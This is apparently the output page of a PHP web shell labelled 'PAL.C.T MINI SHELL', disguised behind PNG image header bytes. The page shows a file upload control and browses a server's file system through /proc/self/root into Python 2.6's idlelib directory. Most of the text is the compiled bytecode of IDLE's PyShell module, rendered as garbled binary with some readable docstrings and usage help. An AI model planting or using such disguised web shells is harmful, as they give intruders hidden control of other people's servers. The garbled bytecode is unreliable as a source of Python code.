php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/idlelib/
upload
files >> //proc/self/root/usr/lib/python2.6/idlelib/PyShell.pyo

aRc(@s\ddkZddkZddkZddkZddkZddkZddkZddkZddkZddk	Z	ddk
Z
ddkZddkl
Z
yddkTWn-ej
o!eidIJeidnXddkZddklZlZddklZddklZdd	klZdd
klZddklZddk l!Z!dd
k l"Z"ddk l#Z#ddk l$Z$ddk l%Z%ei&ei'dZ(dZ)dZ*yddk+l,Z,Wnej
o
dZ,nXeia-yddk.Z.Wnej
on2Xe/e/dZ0e0e._1e/e/dZ2e2e._3e/ei4dZ5e5e_4defdYZ6defdYZ7defdYZ8defd YZ9d!e"i:fd"YZ;d#e
fd$YZ<d%efd&YZ=d'e>fd(YZ?d)Z@d*ZAeBd+joeiCd+eiCd%<eAndS(,iN(tInteractiveInterpreter(t*sK** IDLE can't import Tkinter.  Your Python may not be configured for Tk. **i(tEditorWindowt
fixwordbreaks(tFileList(tColorDelegator(t
UndoDelegator(tOutputWindow(tidleConf(tidlever(trpc(tDebugger(tRemoteDebugger(t
macosxSupportt_s	127.0.0.1i(tSIGTERMic
CsOt}y/|iti||||d|d|Wntj
onXdS(Ntfiletline(twarning_streamtwritetwarningst
formatwarningtIOError(tmessagetcategorytfilenametlinenoRR((s%/usr/lib/python2.6/idlelib/PyShell.pytidle_showwarning9scCszd}|d||f7}|djoti||in|}|o|d|7}n|d|i|f7}|S(sFormat warnings the IDLE ways!
Warning (from warnings module):
s  File "%s", line %s
s    %s
s%s: %s
>>> N(tNonet	linecachetgetlinetstript__name__(RRRRRRts((s%/usr/lib/python2.6/idlelib/PyShell.pytidle_formatwarningBs,cCsiti}h}x?|iD]1}|d |ddjo||||<qqW||i|dS(svExtend linecache.checkcache to preserve the <pyshell#...> entries

    Rather than repeating the linecache code, patch it to save the
    <pyshell#...> entries, call the original linecache.checkcache()
    (which destroys them), and then restore the saved entries.

    orig_checkcache is bound at definition time to the original
    method, allowing it to be patched.

    iis<>N(Rtcachetkeystupdate(Rtorig_checkcacheR#tsave((s%/usr/lib/python2.6/idlelib/PyShell.pytextended_linecache_checkcacheOs	
tPyShellEditorWindowcBszeZdZdZddgZdZddZddZd	Z	d
Z
dZdZd
Z
dZRS(s6Regular text edit window in IDLE, supports breakpointscGsg|_ti|||iid|i|iid|i|iid|iit	i
iti
d|_|iio|in|ii|d}|ii|dS(Ns<<set-breakpoint-here>>s<<clear-breakpoint-here>>s<<open-python-shell>>sbreakpoints.lstcSs|i|dS(N(trestore_file_breaks(told_hooktself((s%/usr/lib/python2.6/idlelib/PyShell.pytfilename_changed_hookus
(tbreakpointsRt__init__ttexttbindtset_breakpoint_heretclear_breakpoint_heretflistt
open_shelltostpathtjoinRt
GetUserCfgDirtbreakpointPathtioRR*tfilename_change_hooktset_filename_change_hook(R,targsR-((s%/usr/lib/python2.6/idlelib/PyShell.pyR/js	
	sSet Breakpoints<<set-breakpoint-here>>sClear Breakpoints<<clear-breakpoint-here>>c	Cs|i}|ii}|idd|d|dy|ii|}Wn#tj
o|ii|nXy&|ii	i
i}|i||WnnXdS(NtBREAKs%d.0i(
R0R;Rttag_addR.tindext
ValueErrortappendR4tpyshelltinterptdebuggerR2(R,RR0Rtitdebug((s%/usr/lib/python2.6/idlelib/PyShell.pytset_breakpoint~s	cCsW|i}|ii}|p|idStt|id}|i|dS(Ntinsert(R0R;RtbelltinttfloatRARI(R,teventR0RR((s%/usr/lib/python2.6/idlelib/PyShell.pyR2s	
c	Cs|i}|ii}|p|idStt|id}y|ii|WnnX|i	dddy&|i
iii
}|i||WnnXdS(NRJR?sinsert linestartsinsert lineend +1char(R0R;RRKRLRMRAR.tremovet
tag_removeR4RDRERFR3(R,RNR0RRRH((s%/usr/lib/python2.6/idlelib/PyShell.pyR3s"	
cCs|iox|i}|ii}|p|idSg|_|iddty#|iii	i
}|i|WqqXndS(NR?s1.0(R.R0R;RRKRPtENDR4RDRERFtclear_file_breaks(R,R0RRH((s%/usr/lib/python2.6/idlelib/PyShell.pyRRs
	
	c	Cs|i}|ii}yt|idi}Wntj
o
g}nXt|id}x3|D]+}|i|dp|i|qfqfW|i	|i}|o#|i|dt
|dn|idS(s#Save breakpoints when file is savedtrtwt=s
N(R.R;RtopenR:t	readlinesRt
startswithRtupdate_breakpointststrtclose(R,tbreaksRtlinestnew_fileR((s%/usr/lib/python2.6/idlelib/PyShell.pytstore_file_breakss 	
	#cCs|ii|ii}|djodStii|io}t	|idi
}xb|D]V}|i|do<t|t
|d}x|D]}|i|qWq`q`WndS(NRSRUi(R0R%R;RRR6R7tisfileR:RVRWRXtevaltlenRI(R,RR]Rtbreakpoint_linenumberstbreakpoint_linenumber((s%/usr/lib/python2.6/idlelib/PyShell.pyR*s

cCs4|i}|id}|i|}||_dS(s3Retrieves all the breakpoints in the current windowR?N(R0t
tag_rangestranges_to_linenumbersR.(R,R0trangestlinenumber_list((s%/usr/lib/python2.6/idlelib/PyShell.pyRYs	cCsg}x|tdt|dD]b}tt||}tt||d}x)||jo|i||d7}qXWqW|S(Niii(trangeRbRLRMRC(R,RgR]RARtend((s%/usr/lib/python2.6/idlelib/PyShell.pyRfs

cCs|iti|dS(s7Extend base method - clear breaks when module is closedN(RRRt_close(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRks
(sSet Breakpoints<<set-breakpoint-here>>(sClear Breakpoints<<clear-breakpoint-here>>N(R t
__module__t__doc__R/trmenu_specsRIRR2R3RRR_R*RYRfRk(((s%/usr/lib/python2.6/idlelib/PyShell.pyR)gs						'	
		tPyShellFileListcBs&eZdZeZdZddZRS(s8Extend base class: IDLE supports a shell and breakpointscCsW|io|iiin3t||_|io|iipdSn|iS(N(RDttoptwakeuptPyShelltbeginR(R,RN((s%/usr/lib/python2.6/idlelib/PyShell.pyR5s

	N(R RlRmR)RRRDR5(((s%/usr/lib/python2.6/idlelib/PyShell.pyRo	stModifiedColorDelegatorcBs)eZdZdZdZdZRS(s8Extend base class: colorizer for the shell window itselfcCsti||idS(N(RR/tLoadTagDefs(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyR/ s
cCs7|iddd|idddti|dS(NtTODOs1.0tiomarktSYNC(RPR@Rtrecolorize_main(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRy$scCsti|tiddd}|iihhdd6dd6d6ti|dd6ti|dd6ti|d	d	6dS(
NtmaintThemetnamet
backgroundt
foregroundtstdintstdouttstderrtconsole(RRuRt	GetOptionttagdefsR%RtGetHighlight(R,ttheme((s%/usr/lib/python2.6/idlelib/PyShell.pyRu)s
(R RlRmR/RyRu(((s%/usr/lib/python2.6/idlelib/PyShell.pyRts		tModifiedUndoDelegatorcBs&eZdZddZddZRS(s;Extend base class: forbid insert/delete before the I/O markcCs_y/|ii|ddo|iidSWntj
onXti||||dS(Nt<Rw(tdelegatetcompareRKtTclErrorRRJ(R,RAtcharsttags((s%/usr/lib/python2.6/idlelib/PyShell.pyRJ6s
	cCs\y/|ii|ddo|iidSWntj
onXti|||dS(NRRw(RRRKRRtdelete(R,tindex1tindex2((s%/usr/lib/python2.6/idlelib/PyShell.pyR?s
	N(R RlRmRRJR(((s%/usr/lib/python2.6/idlelib/PyShell.pyR3s	tMyRPCClientcBseZdZRS(cCs
tdS(s0Override the base class - just re-raise EOFErrorN(tEOFError(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyt
handle_EOFKs(R RlR(((s%/usr/lib/python2.6/idlelib/PyShell.pyRIstModifiedInterpretercBs:eZdZdZdZdZdZdZdZ	dZ
dZdZdZ
d	ZdZd
ZdZdZdZd
ZdZdZdZddZdZdZdZddZdZdZdZdZ dZ!dZ"dZ#dZ$dZ%RS( cCsT||_tidi}ti|d|d|_t|_	d|_
t|_dS(Nt__main__tlocals(
t	tkconsoletsystmodulest__dict__RR/Rtsave_warnings_filterstFalset
restartingtsubprocess_arglisttPORTtport(R,RR((s%/usr/lib/python2.6/idlelib/PyShell.pyR/Rs				cCsN|idjo|i|_n|i}tititi||_dS(N(	RRtbuild_subprocess_arglistR6tspawnvtP_NOWAITRt
executabletrpcpid(R,R>((s%/usr/lib/python2.6/idlelib/PyShell.pytspawn_subprocess^s	c
Csg}tiD]}|d|q~}dddjo|idntidddd	td
d}tdjod
|f}nd|f}tid djo!dtijodti}n
ti}|g|d|t	|i
gS(Ns-Wiiis-QnewRztGeneralsdelete-exitfunctdefaultttypetboolsidlelib.PyShells&__import__('idlelib.run').run.main(%r)s__import__('run').main(%r)itwint s"%s"s-c(RtwarnoptionsRCRRRR tplatformRRZR(R,t_[1]R!RTt	del_exitftcommandtdecorated_exec((s%/usr/lib/python2.6/idlelib/PyShell.pyRds(

$	cCst|if}x^tdD]B}ti|yt||_PWqtij
o	}qXqW|i	dS|iiid|_t
djo#|iiititidn|i|iiidy|iiWn#tij
o}|idSX|iid|i|iid|ii|iid|ii|iid|ii|iid	t|iid
||i|i|iS(Niiii
RRRR4RRE(tHOSTRRittimetsleepRtrpcclttsocketterrortdisplay_port_binding_errorRtlistening_socktgetsocknameRt
setsockoptt
SOL_SOCKETtSO_REUSEADDRRt
settimeouttacceptttimeouttdisplay_no_subprocess_errortregisterRRRR4Rt
transfer_pathtpoll_subprocess(R,taddrRGterr((s%/usr/lib/python2.6/idlelib/PyShell.pytstart_subprocesszs>

	





c	Cs|io|iSt|_|i}|o"yti|iWqPqPXn|ii|i|i}|i	}t
|_	|iy|iiWn#t
ij
o}|idSX|i|iidd|o|id|int|iddd}|i|d||iidd|iidd	|i|o ti|i}|int
|_|iS(
NRwsend-1cs
iiRUs	 RESTART trestarttleft(RRtTruetgetdebuggerRtclose_subprocess_debuggerR[tunix_terminateRt	executingRRRRRRRRR0RRt
showpromptRLtwidthtmark_settmark_gravitytrestart_subprocess_debuggertload_breakpoints(R,RHRt
was_executingRthalfbartgui((s%/usr/lib/python2.6/idlelib/PyShell.pytrestart_subprocesssF
	

			




	cCs|iidddhdS(Ntexectinterrupt_the_server((Rt
remotecall(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyt__request_interruptscCstid|iidS(Nttarget(t	threadingtThreadt'_ModifiedInterpreter__request_interrupttstart(R,((s%/usr/lib/python2.6/idlelib/PyShell.pytinterrupt_subprocessscCsJy|iiWntj
onX|it|i_d|_dS(N(RR[tAttributeErrorRRRRR(R,((s%/usr/lib/python2.6/idlelib/PyShell.pytkill_subprocesss
c	Cstttdo`yti|itWntj
odSXyti|idWqptj
odSXndS(s;UNIX: make sure subprocess is terminated and collect statustkillNi(thasattrR6RRRtOSErrortwaitpid(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRscCs|idtifdS(NsRif 1:
        import sys as _sys
        _sys.path = %r
        del _sys
        
(t
runcommandRR7(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRsc	Cs|i}|djodSy|i|idd}Wn>tttfj
o)|iiodSd}|i	nX|o|ii
d|_|\}}|ii}|djo%|dj	o|t|IJqKnm|djo%|ii
do|iqKn;|djo-d}ti|I|IJ||I|IJny|iiWqvtj
oqvXn|iip#|iii|ii|indS(Ntwaitg?tOKt	EXCEPTIONs<<toggle-jit-stack-viewer>>tERRORs/PyShell.ModifiedInterpreter: Subprocess ERROR:
(RRtpollresponset
active_seqRRtKeyboardInterruptRtclosingRtresetoutputRtreprtgetvartremote_stack_viewerRt
__stderr__tendexecutingRR0taftertpollintervalR(R,tclttresponsethowtwhatRterrmsg((s%/usr/lib/python2.6/idlelib/PyShell.pyRs@	


	



	
cCs
||_dS(N(RF(R,RF((s%/usr/lib/python2.6/idlelib/PyShell.pytsetdebuggerscCs|iS(N(RF(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyR!scCs|iiid|idS(sInitiate the remote stack viewer from a separate thread.

        This method is called from the subprocess, and by returning from this
        method we allow the subprocess to unblock.  After a bit the shell
        requests the subprocess to open the remote stack viewer which returns a
        static object looking at the last exception.  It is queried through
        the RPC mechanism.

        i,N(RR0RR(R,((s%/usr/lib/python2.6/idlelib/PyShell.pytopen_remote_stack_viewer$s
cCs	ddkl}|iidddh}|djo|iiidS|i|i|}ddk	l
}l}t|ii}t
iddd	}t
i|d
d}||d|d
d}	|	iidddd||	id|}
|
idS(Ni(tRemoteObjectBrowserRtstackviewerR4(tScrolledCanvastTreeNodeRzR{R|tnormalR}tbgthighlightthicknessitexpanditfilltboth(sflist(tidlelibRRtremotequeueRRtrootRKtStubObjectTreeItemtidlelib.TreeWidgetRRtToplevelRRRtframetpacktcanvasR	(R,RtoidtitemRRRpRR}tsctnode((s%/usr/lib/python2.6/idlelib/PyShell.pyR1s
icCs#|i|}|i||dS(s1Like runsource() but assumes complete exec sourceN(tstuffsourcetexecfile(R,tsourceR((s%/usr/lib/python2.6/idlelib/PyShell.pyt
execsourceDscCs|djot|di}nyt||d}Wncttfj
oQ|ii|ii}|dIJ|dIJt	i
|||iinX|i|dS(sExecute an existing fileRSRs *** Error in script or command!
s"Traceback (most recent call last):N(
RRVtreadtcompilet
OverflowErrortSyntaxErrorRRRRtshowsyntaxerrorRtruncode(R,RRtcodettkerr((s%/usr/lib/python2.6/idlelib/PyShell.pyRIs



cCs|i|}d|_ti|_tidddtt|ti	o[ddk
l}y|i|i
}Wqtj
o"|ii|iddSXnzti|||SWd|idj	o|iti(d|_nXdS(	sBExtend base class method: Stuff the source in the line cache firstitactionRRi(t	IOBindings Unsupported characters in input
N(RtmoreRtfiltersRtfilterwarningst
SyntaxWarningt
isinstancettypestUnicodeTypeRR&tencodetencodingtUnicodeErrorRRRRt	runsourceR(R,RRR&((s%/usr/lib/python2.6/idlelib/PyShell.pyR1Ys"	




cCsSd|i}|id|_|id}t|dd||fti|<|S(s"Stuff source in the filename caches<pyshell#%d>is
i(tgidtsplitRbRR#(R,RRR]((s%/usr/lib/python2.6/idlelib/PyShell.pyRps

#cCs|id|fdS(s>Prepend sys.path with file's directory if not already includeds(if 1:
            _filename = %r
            import sys as _sys
            from os.path import dirname as _dirname
            _dir = _dirname(_filename)
            if not _dir in _sys.path:
                _sys.path.insert(0, _dir)
            del _filename, _sys, _dirname, _dir
            
N(R(R,R((s%/usr/lib/python2.6/idlelib/PyShell.pytprepend_syspathxsc
Cs|ii}|i}|o|\}}}}|djod|d}nd|d|df}|id||i||i|}	|	o(|	tjo|id|d|n|ii|idt	|n|iit
i|||iidS(sExtend base class method: Add Colorizing

        Color the offending position instead of printing it and pointing at it
        with a caret.

        isiomark + %d charss&iomark linestart + %d lines + %d charsRs
 wordstartsSyntaxError: %s
N(
RR0tunpackerrorR@tseetgett
IDENTCHARSRRRZRR!R(
R,RR0tstufftmsgRtoffsetRtpostchar((s%/usr/lib/python2.6/idlelib/PyShell.pyR!s$



c
Csti\}}}|tj}|oAy-|\}\}}}}	|p
d}nWqid}qiXn|o||||	fSdSdS(Ni(Rtexc_infoR R(
R,RtvaluettbtokR:tdummy_filenameRR;R((s%/usr/lib/python2.6/idlelib/PyShell.pyR5scCsL|ii|iti||iido|iindS(s1Extend base class method to reset output properlys<<toggle-jit-stack-viewer>>N(RRtchecklinecacheRt
showtracebackRtopen_stack_viewer(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRDs



cCsHti}x8|iD]*}|d |ddjo||=qqWdS(Niis<>(RR#R$(R,tctkey((s%/usr/lib/python2.6/idlelib/PyShell.pyRCs
	
cBsU|iio|idS|io |iidd|fhn||iUdS(s*Run the code without invoking the debuggeriRR"i(RRtdisplay_executing_dialogRR
R(R,R#((s%/usr/lib/python2.6/idlelib/PyShell.pyRs


 cBs|iio|iin|i|id
j	o|iei(d
|_n|i	}zJyw|ii
|o5|id
j	o%|iidd|fh|_
n*|o|i||in||iUWnej
oQ|iip:eiddddd|iioq0|iqnqeo+|iidIJ|i|iiq|iio e|i_|iid	IJq|inXWd
ep+y|iiWqej
oqXnXd
S(sOverride base class methodRR"sExit?sDo you want to exit altogether?Rtyestmasters IDLE internal error in runcode()RN(RRRERRCRRRR(RFtbeginexecutingRt
asyncqueueRtrunRt
SystemExitRttkMessageBoxtaskyesnoR0RDtuse_subprocessRRtcanceledRR(R,R#RF((s%/usr/lib/python2.6/idlelib/PyShell.pyR"sR



	




cCs|iii|dS(sOverride base class methodN(RRR(R,R!((s%/usr/lib/python2.6/idlelib/PyShell.pyRscCs tiddd|iidS(NsPort Binding ErrorsAIDLE can't bind to a TCP/IP port, which is necessary to communicate with its Python execution server.  This might be because no networking is installed on this computer.  Run IDLE with the -n command line switch to start without a subprocess and refer to Help/IDLE Help 'Running without a subprocess' for further details.RJ(ROt	showerrorRR0(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRscCs tiddd|iidS(NsSubprocess Startup ErrorsIDLE's subprocess didn't make connection.  Either IDLE can't start a subprocess or personal firewall software is blocking the connection.RJ(RORSRR0(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyR	scCs tiddd|iidS(NsAlready executingsYThe Python Shell window is already executing a command; please wait until it is finished.RJ(RORSRR0(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRHsN(&R RlR/RRRRRRRRRRRRRRRFRRRRR2RRR1RR4R!R5RDRCRR"RRRRH(((s%/usr/lib/python2.6/idlelib/PyShell.pyRPsF					*	,							&			
										1			RrcBseZdZeZeZd3d4d5d6d7d8gZei	oed
=d9ed<nddk
lZd:dZ
dZeZeZeZeZeZdZdZd:dZdZd:dZdZdZdZdZdZdZdZ d Z!d!Z"d"Z#d#Z$d$Z%d%Z&d&Z'd:d'Z(d(Z)d)Z*d*Z+d+Z,d,Z-d:d-Z.d:d.Z/d:d/Z0d0Z1d1Z2d;d2Z3RS(<sPython ShellRt_Fileteditt_EditRHt_Debugtoptionst_Optionstwindowst_Windowsthelpt_Helpit_Windowii(tHistorycCsPto6|i}|dddjo|iddq=nt||_|djo-t}t||it	|}nt
i||ddt|_
d|_t|_|i}|idd|id|i|id	|i|id
|i|id|i|id|i|id
|i|id|ito*|id|i|id|inti|_ti|_ ti!|_"ddk#l$}t%|d|i&|_t%|d|i&|_t%|d|i&|_'tp%|it_|it_|t_!n|i(|i|_)d|_*dS(NiitshelltShe_llitwrapR=s<<newline-and-indent>>s<<plain-newline-and-indent>>s<<interrupt-execution>>s<<end-of-file>>s<<open-stack-viewer>>s<<toggle-debugger>>s<<toggle-jit-stack-viewer>>s<<view-restart>>s<<restart-shell>>i(R&RRRi2(sshellRa(+RQt
menu_specsRJRRERtTkRtwithdrawRoRR/Rtusetabstindentwidthtcontext_use_ps1R0t	configureR1tenter_callbacktlinefeed_callbacktcancel_callbackteof_callbackREttoggle_debuggerttoggle_jit_stack_viewertview_restart_markt
restart_shellRRtsave_stdoutRtsave_stderrRt
save_stdinRR&t
PseudoFileR/RR_thistoryR(R,R4tmsRR0R&((s%/usr/lib/python2.6/idlelib/PyShell.pyR/3sN	
	

				
cCstidtS(Nt
shell_only(Rt
GetExtensionsR(R,((s%/usr/lib/python2.6/idlelib/PyShell.pytget_standard_extension_namesdscCs
|adS(N(R(R,tstream((s%/usr/lib/python2.6/idlelib/PyShell.pytset_warning_streammscCstS(N(R(R,((s%/usr/lib/python2.6/idlelib/PyShell.pytget_warning_streamqscCsd|io(tiddd|i|idS|ii}|o|in|idS(NsDon't debug nows*You can only toggle the debugger when idleRJtbreak(	RRORSR0tset_debugger_indicatorRERtclose_debuggert
open_debugger(R,RNtdb((s%/usr/lib/python2.6/idlelib/PyShell.pyRnts
	

cCs%|ii}|id|dS(Ns<<toggle-debugger>>(RERtsetvar(R,R((s%/usr/lib/python2.6/idlelib/PyShell.pyRscCsdS(N((R,RN((s%/usr/lib/python2.6/idlelib/PyShell.pyRoscCs|ii}|oo|iid|i|iioti|iin|i|i	i
ddt_|i
n|idS(Ns[DEBUG OFF]
s>>> (RERRRR[RRtclose_remote_debuggerRRRRtps1RR(R,R((s%/usr/lib/python2.6/idlelib/PyShell.pyRs


	cCss|iioti|ii|}nti|}|ii||idt_|i	|i
dS(Ns[DEBUG ON]
>>> (RERRtstart_remote_debuggerRRRRRRR(R,tdbg_gui((s%/usr/lib/python2.6/idlelib/PyShell.pyRs


	
cCs|id|_dS(sHelper for ModifiedInterpreteriN(RR(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRKs
cCs d|_d|_|idS(sHelper for ModifiedInterpreteriN(RRRR(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRs		cCs|io7tiddddd|i}|tjodSn|io|iint|_	t|_
|iid|i|i
dS(	sExtend EditorWindow.close()sKill?s6The program is still running!
 Do you want to kill it?RRAtparenttcanceliN(RROtaskokcancelR0RtreadingRptquitRRRRRRtclose2(R,R((s%/usr/lib/python2.6/idlelib/PyShell.pyR[s

	
		cCs
ti|S(N(RR[(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRscCs~|ito|iin|it_|it_|i	t_
d|_d|_d|i
_d|_ti|dS(sEExtend EditorWindow._close(), shut down debugger and execution serverN(RRQRERRrRRRsRRtRRRR4RDRvRRk(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRks
			cCstS(s8Override EditorWindow method: never remove the colorizer(R(R,R((s%/usr/lib/python2.6/idlelib/PyShell.pytispythonsourcescCs|iS(N(tshell_title(R,((s%/usr/lib/python2.6/idlelib/PyShell.pytshort_titless@Type "copyright", "credits" or "license()" for more information.s
    ****************************************************************
    Personal firewall software may warn about the connection IDLE
    makes to its subprocess using this computer's internal loopback
    interface.  This connection is not visible on any external
    interface and no data is sent to or received from the Internet.
    ****************************************************************
    cCs|ito/d}|ii}|p|itSnd}|idtiti	|i
|iti
|f|iddk}d|_tS(Nts==== No Subprocess ====s&Python %s on %s
%s
%s
IDLE %s      %s
i(RRQRERR[RRRtversionRt	COPYRIGHTtfirewallmessageR	tIDLE_VERSIONRtTkinterRt
_default_rootR(R,tnosubtclientR((s%/usr/lib/python2.6/idlelib/PyShell.pyRss

		
	c	Cs|i}zd|_|iiWd||_X|iidd}t|djo
d}nt|to@ddkl	}y|i
|i}Wqtj
oqXn|i
|iod|_tp
tqn|iod|_d}n|S(	NiRwsend-1cis
i(R&R(RRptmainloopR0R7RbR+tunicodeRR&R.R/R0RRRRQRt	endoffile(R,R'RR&((s%/usr/lib/python2.6/idlelib/PyShell.pytreadlines.		

	

	
	
cCstS(N(R(R,((s%/usr/lib/python2.6/idlelib/PyShell.pytisattyscCsy"|iidddodSWnnX|ip|ip)|i|iid|idSd|_d|_	|io?|ii
o2|iio|iiq|ii
n|io|iindS(Ns	sel.firsts!=ssel.lastsKeyboardInterrupt
R~ii(R0RRRRRERRRRRRRRRRpR(R,RN((s%/usr/lib/python2.6/idlelib/PyShell.pyRls&	

		
cCs|io|iodS|iidddo|iidddpdS|ip|i|in d|_d|_|ii	dS(NRws==RJsend-1ciiR~(
RRR0RRR[RRRRpR(R,RN((s%/usr/lib/python2.6/idlelib/PyShell.pyRm)s

		
cCsB|io'|iidd|iidn|i|dS(NRJs
R~(RR0RJR6tnewline_and_indent_event(R,RN((s%/usr/lib/python2.6/idlelib/PyShell.pyRk8s


cCs|io|iodSyR|iidd}|o2|iidddo|i||dSnWnnX|iidddoN|iid	d}|oI|iidd|d
o,|i|ii|d|d
|dS|iid	d}|oI|iidd
|do,|i|ii|d|d
|dS|iidd}|oD|ii|dddo'|i|ii|d
d|n |i|iidd|dS|iidddo|iiddn|iidd}|o%|i	o|ii
ddn|iidddo|i|dS|iidd|io'|iidd|ii
dn|i||iid	dd|ii|io|iin|idS(Ns	sel.firstssel.lasts<=RwR~RJRsiomark linestartRiisinsert lineends>=Rsinsert linestartsend-1csend-1c linestarts
(RRR0R7Rtrecallt
tag_prevranget
tag_nextrangeRRRRRJR6R@tupdate_idletasksRpRtrunit(R,RNtseltprevtnexttindicesR!((s%/usr/lib/python2.6/idlelib/PyShell.pyRjAsX
$'$''





c
Cstidd|}tidd|}|id}|iizF|iiddd|iidd	|iid
d}|ii	do&|i
||iid
d}n|iid|dit
|d
jotid|did}tid|id}x[|d
D]K}|i|o||t
|}n|iidd|iq8WnWd|iid|iiXdS(Ns^\s*\nRs\n\s*$s
Rs1.0RjRJsend-1csinsert linestartt:iis	^([ \t]*)(tretsubR3R0tundo_block_startRPRR7trstriptendswithRRJRRbtsearchtgroupRXR6tundo_block_stop(R,R!RNR]tprefixtorig_base_indenttnew_base_indentR((s%/usr/lib/python2.6/idlelib/PyShell.pyRs,

)cCs|iidd}t|}x1|djo#||ddjo|d}q$W|djo#||ddjo|d}nx1|djo#||ddjo|d}qW|| }|ii|}dS(NRwsend-1ciis 	s
(R0R7RbRER1(R,RRGR'((s%/usr/lib/python2.6/idlelib/PyShell.pyRs"""
cCss|iio|iiSytiWn!tiddd|idSXddkl	}||i
|i}dS(NsNo stack traces@There is no stack trace yet.
(sys.last_traceback is not defined)RJi(tStackBrowser(RERRRtlast_tracebackRORSR0tidlelib.StackViewerRRR4(R,RNRtsv((s%/usr/lib/python2.6/idlelib/PyShell.pyREs
	
cCs$|iid|iiddS(NRwR(R0R6(R,RN((s%/usr/lib/python2.6/idlelib/PyShell.pyRpscCs|iidS(N(RER(R,RN((s%/usr/lib/python2.6/idlelib/PyShell.pyRqscCsk|iytti}Wn
d}nX|ii||iidd|i|i	i
dS(NRRJsend-1c(RRZRRRRR0Rtset_line_and_columnR;t
reset_undo(R,R!((s%/usr/lib/python2.6/idlelib/PyShell.pyRs


cCs|iidd}|io|ii|n|iiddjo|iiddn|iidd|idti_	dS(NRwsend-1csend-2cs
i(
R0R7Rvt
history_storeRJRRRRt	softspace(R,R((s%/usr/lib/python2.6/idlelib/PyShell.pyRs

cCsvy@|iiddti|||d|iiddWnnX|iod|_tp
tqrndS(NRwtrightRi(R0RRRRRRQR(R,R!R((s%/usr/lib/python2.6/idlelib/PyShell.pyRs
	(sfileRT(RURV(sdebugRW(RXRY(RZR[(shelpR](RZR^N((4R RlRRtRRRRcR
trunningAsOSXApptidlelib.IdleHistoryR_RR/RzRRRRRRRR|R}RnRRoRRRKRR[RRkRRRRRsRRRlRmRkRjRRRERpRqRRR(((s%/usr/lib/python2.6/idlelib/PyShell.pyRrsf	
1					
																?				
RucBs8eZddZdZdZdZdZRS(cCs(||_||_d|_||_dS(Ni(R`RRR/(R,R`RR/((s%/usr/lib/python2.6/idlelib/PyShell.pyR/s			cCs|ii||idS(N(R`RR(R,R!((s%/usr/lib/python2.6/idlelib/PyShell.pyRscCs"x|D]}|i|qWdS(N(R(R,R]R((s%/usr/lib/python2.6/idlelib/PyShell.pyt
writelinesscCsdS(N((R,((s%/usr/lib/python2.6/idlelib/PyShell.pytflushscCstS(N(R(R,((s%/usr/lib/python2.6/idlelib/PyShell.pyRsN(R RlRR/RRRR(((s%/usr/lib/python2.6/idlelib/PyShell.pyRus
			s
USAGE: idle  [-deins] [-t title] [file]*
       idle  [-dns] [-t title] (-c cmd | -r file) [arg]*
       idle  [-dns] [-t title] - [arg]*

  -h         print this help message and exit
  -n         run IDLE without a subprocess (see Help/IDLE Help for details)

The following options will override the IDLE 'settings' configuration:

  -e         open an edit window
  -i         open a shell window

The following options imply -i and will open a shell:

  -c cmd     run the command in a shell, or
  -r file    run script from file

  -d         enable the debugger
  -s         run $IDLESTARTUP or $PYTHONSTARTUP before anything else
  -t title   set title of shell window

A default edit window will be bypassed when -c, -r, or - are used.

[arg]* are passed to the command (-c) or script (-r) in sys.argv[1:].

Examples:

idle
        Open an edit window or shell depending on IDLE's configuration.

idle foo.py foobar.py
        Edit the files, also open a shell if configured to start with shell.

idle -est "Baz" foo.py
        Run $IDLESTARTUP or $PYTHONSTARTUP, edit foo.py, and open a shell
        window with the title "Baz".

idle -c "import sys; print sys.argv" "foo"
        Open a shell window and run the command, passing "-c" in sys.argv[0]
        and "foo" in sys.argv[1].

idle -d -s -r foo.py "Hello World"
        Open a shell window, run a startup script, enable the debugger, and
        run foo.py, passing "foo.py" in sys.argv[0] and "Hello World" in
        sys.argv[1].

echo "import sys; print sys.argv" | idle - "foobar"
        Open a shell window, run the script piped in, passing '' in sys.argv[0]
        and "foobar" in sys.argv[1].
cCstat}t}t}d}d}t}y#titidd\}}WnOtij
o@}tii	dt
|tii	ttidnXxH|D]@\}	}
|	djo|
}t}n|	djot}t}n|	djot}t}n|	djoti
i	ttin|	d	jo
t}n|	d
jo
tan|	djo:|
}tii|ondG|GHtit}n|	d
jot}t}n|	djo|
t_t}qqW|o*|ddjotii}t}nx=tttiD]&}tiiti|ti|<q1W|o)|ddjodg|dt_n|odg|t_n|o|g|t_n|ot}g}x'|D]}
|itii|
qWx~|D]?}tii|}|tijotiid|qqWn4ti}|tijotiid|ntiddddd}|p|}tddat tti!t"ta#t$i%tt#|oI|p|p7x|D]}
t#i&|
qW|pt#i'q2q6n|oDt#i(}|pdSt$i)ot#i*o|i+i,qnt#i-}|o|i.n|oWti/i0dpti/i0d}
|
o'tii|
o|i1i2|
qn|o|p|od|i1i3dtif|o|i1i4|qv|o$|i1i5||i1i2|qvnti6ti7dS(Nisc:deihnr:st:s
Error: %s
is-cs-ds-es-hs-is-ns-rsNo script file: s-ss-tit-RRzRseditor-on-startupRRt	classNametIdletIDLESTARTUPt
PYTHONSTARTUPsbif 1:
            import sys as _sys
            _sys.argv = %r
            del _sys
            
